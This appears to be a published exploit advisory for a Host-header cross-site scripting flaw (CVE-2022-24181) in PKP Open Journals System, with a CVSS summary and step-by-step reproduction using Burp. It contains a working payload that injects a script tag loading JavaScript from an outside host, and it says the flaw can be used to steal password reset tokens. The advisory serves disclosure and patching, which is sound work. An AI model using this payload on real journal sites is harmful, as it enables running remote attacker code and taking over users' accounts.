PKP Open Journals System 3.3 Cross Site Scripting

2022.04.19
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: PKP Open Journals System 3.3 - Cross-Site Scripting (XSS) # Date: 31/01/2022 # Exploit Author: Hemant Kashyap # Vendor Homepage: https://github.com/pkp/pkp-lib/issues/7649 # Version: PKP Open Journals System 2.4.8 >= 3.3 # Tested on: All OS # CVE : CVE-2022-24181 # References: https://youtu.be/v8-9evO2oVg XSS via Host Header injection and Steal Password Reset Token of another user Step to reproduce: 1) Go to this site: https://who's-using-ojs-software.com 2) And capture this request in burp , and send to repeater. 3) Add this after Host Header X-Forwarded-Host: foo"><script src=//dtf.pw/2.js></script><x=".com 4) And this click on send , after this right click on request and click on show response in browser , after this copy the request. 5) Paste this request in browser , and you'll see xss pop-up. Mitigation: Update to newer version. This vulnerability in PKP vendor software Open-journal-system version 2.4.8 to 3.3.8 all are vulnerable to xss via Host Header injection and steal password reset token vulnerability


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